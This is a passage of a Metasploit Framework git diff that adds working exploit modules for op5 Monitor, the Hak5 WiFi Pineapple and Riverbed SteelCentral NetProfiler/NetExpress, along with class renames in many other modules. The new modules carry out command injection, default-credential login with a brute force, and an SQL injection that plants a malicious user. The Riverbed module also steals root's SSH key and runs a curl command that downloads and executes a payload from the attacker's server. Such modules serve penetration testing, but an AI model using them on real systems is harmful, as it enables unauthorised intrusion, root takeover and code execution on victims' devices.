'Privileged' => false, + 'DefaultOptions' => { 'SSL' => true }, + 'Targets' => + [ + [ 'Automatic Target', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 08 2016' + ) + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [ true, 'User to login with', 'monitor']), + OptString.new('PASSWORD', [ false, 'Password to login with', 'monitor']), + OptString.new('TARGETURI', [ true, 'The path to the application', '/']) + ], self.class + ) + end + + def check + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET' + ) + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + /Version: (?[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+\|/ =~ res.body + + if version && Gem::Version.new(version) <= Gem::Version.new('7.1.9') + vprint_good("Version Detected: #{version}") + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + def exploit + execute_cmdstager( + :flavor => :echo + ) + end + + def execute_command(cmd, opts) + begin + # To manually view the vuln page, click Manage > Configure > Commands. + # Click the "Test this command" button to display the form we abuse. + + # login + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'monitor/index.php/auth/login'), + 'method' => 'POST', + 'vars_get' => + { + 'uri' => 'tac/index' + }, + 'vars_post' => + { + 'csrf_token' => '', + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + ) + + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 302 + cookie = res.get_cookies + # exploit + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'monitor/op5/nacoma/command_test.php'), + 'method' => 'GET', + 'cookie' => cookie, + 'vars_get' => + { + 'cmd_str' => cmd + } + ) + + # success means we hang our session, and wont get back a response + if res + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Credentials need additional privileges") if res.body =~ /Access Denied/ + end + + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + def on_new_session(session) + super + session.shell_command_token('setsid $SHELL') + end +end diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index d3bc972546..41d9e038ea 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/pandora_fms_exec.rb b/modules/exploits/linux/http/pandora_fms_exec.rb index 8d08d715ac..0b4b436f0a 100644 --- a/modules/exploits/linux/http/pandora_fms_exec.rb +++ b/modules/exploits/linux/http/pandora_fms_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/pandora_fms_sqli.rb b/modules/exploits/linux/http/pandora_fms_sqli.rb index 9c17429b93..aed531b229 100644 --- a/modules/exploits/linux/http/pandora_fms_sqli.rb +++ b/modules/exploits/linux/http/pandora_fms_sqli.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/peercast_url.rb b/modules/exploits/linux/http/peercast_url.rb index 870ee7fdc1..c961f9bb31 100644 --- a/modules/exploits/linux/http/peercast_url.rb +++ b/modules/exploits/linux/http/peercast_url.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb index d9cab6a7a3..36c1176d0e 100644 --- a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb +++ b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/pineapp_livelog_exec.rb b/modules/exploits/linux/http/pineapp_livelog_exec.rb index 94a67de146..935f34a251 100644 --- a/modules/exploits/linux/http/pineapp_livelog_exec.rb +++ b/modules/exploits/linux/http/pineapp_livelog_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb index 10111bb598..629e89b1ba 100644 --- a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb +++ b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb b/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb new file mode 100644 index 0000000000..a0212be7e7 --- /dev/null +++ b/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb @@ -0,0 +1,107 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Hak5 WiFi Pineapple Preconfiguration Command Injection', + 'Description' => %q{ + This module exploits a login/csrf check bypass vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4. + These devices may typically be identified by their SSID beacons of 'Pineapple5_....'; + Provided as part of the TospoVirus workshop at DEFCON23. + }, + 'Author' => ['catatonicprime'], + 'License' => MSF_LICENSE, + 'References' => [ ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Payload' => { + 'Space' => 2048, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic python netcat telnet' + } + }, + 'Targets' => + [ + [ 'WiFi Pineapple 2.0.0 - 2.3.0', {} ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 1 2015')) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]), + Opt::RPORT(1471), + Opt::RHOST('172.16.42.1') + ] + ) + + deregister_options( + 'ContextInformationFile', + 'DOMAIN', + 'DigestAuthIIS', + 'EnableContextEncoding', + 'FingerprintCheck', + 'HttpClientTimeout', + 'NTLM::SendLM', + 'NTLM::SendNTLM', + 'NTLM::SendSPN', + 'NTLM::UseLMKey', + 'NTLM::UseNTLM2_session', + 'NTLM::UseNTLMv2', + 'SSL', + 'SSLVersion', + 'VERBOSE', + 'WORKSPACE', + 'WfsDelay', + 'Proxies', + 'VHOST' + ) + end + + def cmd_uri + normalize_uri('includes', 'css', 'styles.php', '../../..', target_uri.path) + end + + def cmd_inject(cmd) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => cmd_uri, + 'vars_get' => { + 'execute' => "" # Presence triggers command execution + }, + 'vars_post' => { + 'commands' => cmd + }) + res + end + + def check + res = cmd_inject("echo") + if res && res.code == 200 && res.body =~ /Executing/ + return Exploit::CheckCode::Vulnerable + end + Exploit::CheckCode::Safe + end + + def exploit + print_status('Attempting to bypass login/csrf checks...') + unless check + fail_with(Failure::NoAccess, 'Failed to bypass login/csrf check...') + end + print_status('Executing payload...') + cmd_inject("#{payload.encoded}") + end +end diff --git a/modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb b/modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb new file mode 100644 index 0000000000..bc7c541660 --- /dev/null +++ b/modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb @@ -0,0 +1,262 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Hak5 WiFi Pineapple Preconfiguration Command Injection', + 'Description' => %q{ + This module exploits a command injection vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4. + We use a combination of default credentials with a weakness in the anti-csrf generation to achieve + command injection on fresh pineapple devices prior to configuration. Additionally if default credentials fail, + you can enable a brute force solver for the proof-of-ownership challenge. This will reset the password to a + known password if successful and may interrupt the user experience. These devices may typically be identified + by their SSID beacons of 'Pineapple5_....'; details derived from the TospoVirus, a WiFi Pineapple infecting + worm. + }, + 'Author' => ['catatonicprime'], + 'License' => MSF_LICENSE, + 'References' => [[ 'CVE', '2015-4624' ]], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Payload' => { + 'Space' => 2048, + 'DisableNops' => true, + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic python netcat telnet' + } + }, + 'Targets' => [[ 'WiFi Pineapple 2.0.0 - 2.3.0', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 1 2015' + )) + + register_options( + [ + OptString.new('USERNAME', [ true, 'The username to use for login', 'root' ]), + OptString.new('PASSWORD', [ true, 'The password to use for login', 'pineapplesareyummy' ]), + OptString.new('PHPSESSID', [ true, 'PHPSESSID to use for attack', 'tospovirus' ]), + OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]), + Opt::RPORT(1471), + Opt::RHOST('172.16.42.1') + ] + ) + register_advanced_options( + [ + OptBool.new('BruteForce', [ false, 'When true, attempts to solve LED puzzle after login failure', false ]), + OptInt.new('BruteForceTries', [ false, 'Number of tries to solve LED puzzle, 0 -> infinite', 0 ]) + ] + ) + + deregister_options( + 'ContextInformationFile', + 'DOMAIN', + 'DigestAuthIIS', + 'EnableContextEncoding', + 'FingerprintCheck', + 'HttpClientTimeout', + 'NTLM::SendLM', + 'NTLM::SendNTLM', + 'NTLM::SendSPN', + 'NTLM::UseLMKey', + 'NTLM::UseNTLM2_session', + 'NTLM::UseNTLMv2', + 'SSL', + 'SSLVersion', + 'VERBOSE', + 'WORKSPACE', + 'WfsDelay', + 'Proxies', + 'VHOST' + ) + end + + def login_uri + normalize_uri('includes', 'api', 'login.php') + end + + def brute_uri + normalize_uri("/?action=verify_pineapple") + end + + def set_password_uri + normalize_uri("/?action=set_password") + end + + def phpsessid + datastore['PHPSESSID'] + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def cookie + "PHPSESSID=#{phpsessid}" + end + + def csrf_token + Digest::SHA1.hexdigest datastore['PHPSESSID'] + end + + def use_brute + datastore['BruteForce'] + end + + def use_brute_tries + datastore['BruteForceTries'] + end + + def login + # Create a request to login with the specified credentials. + res = send_request_cgi( + 'method' => 'POST', + 'uri' => login_uri, + 'vars_post' => { + 'username' => username, + 'password' => password, + 'login' => "" # Merely indicates to the pineapple that we'd like to login. + }, + 'headers' => { + 'Cookie' => cookie + } + ) + + return nil unless res + + # Successful logins in preconfig pineapples include a 302 to redirect you to the "please config this device" pages + return res if res.code == 302 && (res.body !~ /invalid username/) + + # Already logged in message in preconfig pineapples are 200 and "Invalid CSRF" - which also indicates a success + return res if res.code == 200 && (res.body =~ /Invalid CSRF/) + + nil + end + + def cmd_inject(cmd) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => target_uri.path, + 'cookie' => cookie, + 'vars_get' => { + 'execute' => "" # Presence triggers command execution + }, + 'vars_post' => { + '_csrfToken' => csrf_token, + 'commands' => cmd + } + ) + + res + end + + def brute_force + print_status('Beginning brute forcing...') + # Attempt to get a new session cookie with an LED puzzle tied to it. + res = send_request_cgi( + 'method' => 'GET', + 'uri' => brute_uri + ) + + # Confirm the response indicates there is a puzzle to be solved. + if !res || !(res.code == 200) || res.body !~ /own this pineapple/ + print_status('Brute forcing not available...') + return nil + end + + cookies = res.get_cookies + counter = 0 + while use_brute_tries.zero? || counter < use_brute_tries + print_status("Try #{counter}...") if (counter % 5).zero? + counter += 1 + res = send_request_cgi( + 'method' => 'POST', + 'uri' => brute_uri, + 'cookie' => cookies, + 'vars_post' => { + 'green' => 'on', + 'amber' => 'on', + 'blue' => 'on', + 'red' => 'on', + 'verify_pineapple' => 'Continue' + } + ) + + if res && res.code == 200 && res.body =~ /set_password/ + print_status('Successfully solved puzzle!') + return write_password(cookies) + end + end + print_warning("Failed to brute force puzzle in #{counter} tries...") + nil + end + + def write_password(cookies) + print_status("Attempting to set password to: #{password}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => set_password_uri, + 'cookie' => cookies, + 'vars_post' => { + 'password' => password, + 'password2' => password, + 'eula' => 1, + 'sw_license' => 1, + 'set_password' => 'Set Password' + } + ) + if res && res.code == 200 && res.body =~ /success/ + print_status('Successfully set password!') + return res + end + print_warning('Failed to set password') + + nil + end + + def check + loggedin = login + unless loggedin + brutecheck = send_request_cgi( + 'method' => 'GET', + 'uri' => brute_uri + ) + return Exploit::CheckCode::Safe if !brutecheck || !brutecheck.code == 200 || brutecheck.body !~ /own this pineapple/ + return Exploit::CheckCode::Vulnerable + end + + cmd_success = cmd_inject("echo") + return Exploit::CheckCode::Vulnerable if cmd_success && cmdSuccess.code == 200 && cmd_success.body =~ /Executing/ + + Exploit::CheckCode::Safe + end + + def exploit + print_status('Logging in with credentials...') + loggedin = login + if !loggedin && use_brute + brute_force + loggedin = login + end + unless loggedin + fail_with(Failure::NoAccess, "Failed to login PHPSESSID #{phpsessid} with #{username}:#{password}") + end + + print_status('Executing payload...') + cmd_inject("#{payload.encoded}") + end +end diff --git a/modules/exploits/linux/http/piranha_passwd_exec.rb b/modules/exploits/linux/http/piranha_passwd_exec.rb index bcb9e18bf2..2973589dc4 100644 --- a/modules/exploits/linux/http/piranha_passwd_exec.rb +++ b/modules/exploits/linux/http/piranha_passwd_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache/ ] } @@ -70,8 +70,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'piranha']), - OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'q']) + OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'piranha']), + OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', 'q']) ], self.class) end diff --git a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb index d6a748c00f..281239a922 100644 --- a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb +++ b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # It's backdooring the remote device include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb index c9d90752ab..4cf8418b8c 100644 --- a/modules/exploits/linux/http/railo_cfml_rfi.rb +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb b/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb index 3cf0aafc86..059d0156d9 100644 --- a/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb b/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb new file mode 100644 index 0000000000..a6442fe0d7 --- /dev/null +++ b/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb @@ -0,0 +1,318 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + require 'digest' + + def initialize(info={}) + super(update_info(info, + 'Name' => "Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution", + 'Description' => %q{ + This module exploits three separate vulnerabilities found in the Riverbed SteelCentral NetProfiler/NetExpress + virtual appliances to obtain remote command execution as the root user. A SQL injection in the login form + can be exploited to add a malicious user into the application's database. An attacker can then exploit a + command injection vulnerability in the web interface to obtain arbitrary code execution. Finally, an insecure + configuration of the sudoers file can be abused to escalate privileges to root. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Francesco Oddo ' ], + 'References' => + [ + [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Riverbed-SteelCentral-NetProfilerNetExpress-Advisory.pdf' ] + ], + 'Platform' => 'linux', + 'Arch' => ARCH_X86_64, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Targets' => + [ + [ 'Riverbed SteelCentral NetProfiler 10.8.7 / Riverbed NetExpress 10.8.7', { }] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'Privileged' => false, + 'DisclosureDate' => "Jun 27 2016", + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The target URI', '/']), + OptString.new('RIVERBED_USER', [true, 'Web interface user account to add', 'user']), + OptString.new('RIVERBED_PASSWORD', [true, 'Web interface user password', 'riverbed']), + OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), + Opt::RPORT(443) + ], + self.class + ) + end + + def check + json_payload_check = "{\"username\":\"check_vulnerable%'; SELECT PG_SLEEP(2)--\", \"password\":\"pwd\"}"; + + # Verifies existence of login SQLi + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'), + 'ctype' => 'application/json', + 'encode_params' => false, + 'data' => json_payload_check + }) + + if res && res.body && res.body.include?('AUTH_DISABLED_ACCOUNT') + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + end + + def exploit + + print_status("Attempting log in to target appliance") + @sessid = do_login + + print_status("Confirming command injection vulnerability") + test_cmd_inject + vprint_status('Ready to execute payload on appliance') + + @elf_sent = false + # Generate payload + @pl = generate_payload_exe + + if @pl.nil? + fail_with(Failure::BadConfig, 'Please select a valid Linux payload') + end + + # Start the server and use primer to trigger fetching and running of the payload + begin + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + end + + end + + def get_nonce + # Function to get nonce from login page + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path,'/index.php'), + }) + + if res && res.body && res.body.include?('nonce_') + html = res.get_html_document + nonce_field = html.at('input[@name="nonce"]') + nonce = nonce_field.attributes["value"] + else + fail_with(Failure::Unknown, 'Unable to get login nonce.') + end + + # needed as login nonce is bounded to preauth SESSID cookie + sessid_cookie_preauth = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || '' + + return [nonce, sessid_cookie_preauth] + + end + + def do_login + + uname = datastore['RIVERBED_USER'] + passwd = datastore['RIVERBED_PASSWORD'] + + nonce, sessid_cookie_preauth = get_nonce + post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path,'/index.php'), + 'cookie' => "SESSID=#{sessid_cookie_preauth}", + 'ctype' => 'application/x-www-form-urlencoded', + 'encode_params' => false, + 'data' => post_data + }) + + # Exploit login SQLi if credentials are not valid. + if res && res.body && res.body.include?('
      'POST', + 'uri' => normalize_uri(target_uri.path,'/index.php'), + 'cookie' => "SESSID=#{sessid_cookie_preauth}", + 'ctype' => 'application/x-www-form-urlencoded', + 'encode_params' => false, + 'data' => post_data + }) + + sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || '' + print_status("Saving login credentials into Metasploit DB") + report_cred(uname, passwd) + else + print_status("Valid login credentials provided. Successfully logged in") + sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || '' + print_status("Saving login credentials into Metasploit DB") + report_cred(uname, passwd) + end + + return sessid_cookie + + end + + def report_cred(username, password) + # Function used to save login credentials into Metasploit database + service_data = { + address: rhost, + port: rport, + service_name: ssl ? 'https' : 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + username: username, + private_data: password, + private_type: :password + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) + end + + def create_user + # Function exploiting login SQLi to create a malicious user + username = datastore['RIVERBED_USER'] + password = datastore['RIVERBED_PASSWORD'] + + usr_payload = generate_sqli_payload(username) + pwd_hash = Digest::SHA512.hexdigest(password) + pass_payload = generate_sqli_payload(pwd_hash) + uid = rand(999) + + json_payload_sqli = "{\"username\":\"adduser%';INSERT INTO users (username, password, uid) VALUES ((#{usr_payload}), (#{pass_payload}), #{uid});--\", \"password\":\"pwd\"}"; + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'), + 'ctype' => 'application/json', + 'encode_params' => false, + 'data' => json_payload_sqli + }) + + json_payload_checkuser = "{\"username\":\"#{username}\", \"password\":\"#{password}\"}"; + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'), + 'ctype' => 'application/json', + 'encode_params' => false, + 'data' => json_payload_checkuser + }) + + if res && res.body && res.body.include?('session_id') + print_status("User account successfully created, login credentials: '#{username}':'#{password}'") + else + fail_with(Failure::UnexpectedReply, 'Unable to add user to database') + end + + end + + def generate_sqli_payload(input) + # Function to generate sqli payload for user/pass in expected format + payload = '' + input_array = input.strip.split('') + for index in 0..input_array.length-1 + payload = payload << 'CHR(' + input_array[index].ord.to_s << ')||' + end + + # Gets rid of the trailing '||' and newline + payload = payload[0..-3] + + return payload + end + + def test_cmd_inject + post_data = "xjxfun=get_request_key&xjxr=1457064294787&xjxargs[]=Stoken; id;" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'), + 'cookie' => "SESSID=#{@sessid}", + 'ctype' => 'application/x-www-form-urlencoded', + 'encode_params' => false, + 'data' => post_data + }) + + unless res && res.body.include?('uid=') + fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable') + end + + end + + def cmd_inject(cmd) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'), + 'cookie' => "SESSID=#{@sessid}", + 'ctype' => 'application/x-www-form-urlencoded', + 'encode_params' => false, + 'data' => cmd + }) + + end + + # Deliver payload to appliance and make it run it + def primer + + # Gets the autogenerated uri + payload_uri = get_uri + + root_ssh_key_private = rand_text_alpha_lower(8) + binary_payload = rand_text_alpha_lower(8) + + print_status("Privilege escalate to root and execute payload") + + privesc_exec_cmd = "xjxfun=get_request_key&xjxr=1457064346182&xjxargs[]=Stoken; sudo -u mazu /usr/mazu/bin/mazu-run /usr/bin/sudo /bin/date -f /opt/cascade/vault/ssh/root/id_rsa | cut -d ' ' -f 4- | tr -d '`' | tr -d \"'\" > /tmp/#{root_ssh_key_private}; chmod 600 /tmp/#{root_ssh_key_private}; ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i /tmp/#{root_ssh_key_private} root@localhost '/usr/bin/curl -k #{payload_uri} -o /tmp/#{binary_payload}; chmod 755 /tmp/#{binary_payload}; /tmp/#{binary_payload}'" + + cmd_inject(privesc_exec_cmd) + + register_file_for_cleanup("/tmp/#{root_ssh_key_private}") + register_file_for_cleanup("/tmp/#{binary_payload}") + + vprint_status('Finished primer hook, raising Timeout::Error manually') + raise(Timeout::Error) + end + + #Handle incoming requests from the server + def on_request_uri(cli, request) + vprint_status("on_request_uri called: #{request.inspect}") + print_status('Sending the payload to the server...') + @elf_sent = true + send_response(cli, @pl) + end + +end diff --git a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb index 56c7f7425a..e3b5f0c40b 100644 --- a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb +++ b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient @@ -87,7 +87,7 @@ class Metasploit4 < Msf::Exploit::Remote headers = res.to_s # validate headers - if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28') + if headers.include?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28') # and make sure that the body contains the title we'd expect if res.body.include?('Login to BlackArmor') return Exploit::CheckCode::Appears diff --git a/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb b/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb index 234cf47a2d..73e08f8e2c 100644 --- a/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb +++ b/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb index d06f0ab552..a8559df320 100644 --- a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb +++ b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb index f34b35bbf2..01a4a6e9f3 100644 --- a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb +++ b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/symantec_web_gateway_exec.rb b/modules/exploits/linux/http/symantec_web_gateway_exec.rb index a98731bc11..3da6b67212 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_exec.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index 6a0538c640..6ced3d32a4 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb index b2f4258902..e2080dcb13 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'WfsDelay' => 300, #5 minutes - 'DisablePayloadHandler' => 'false', + 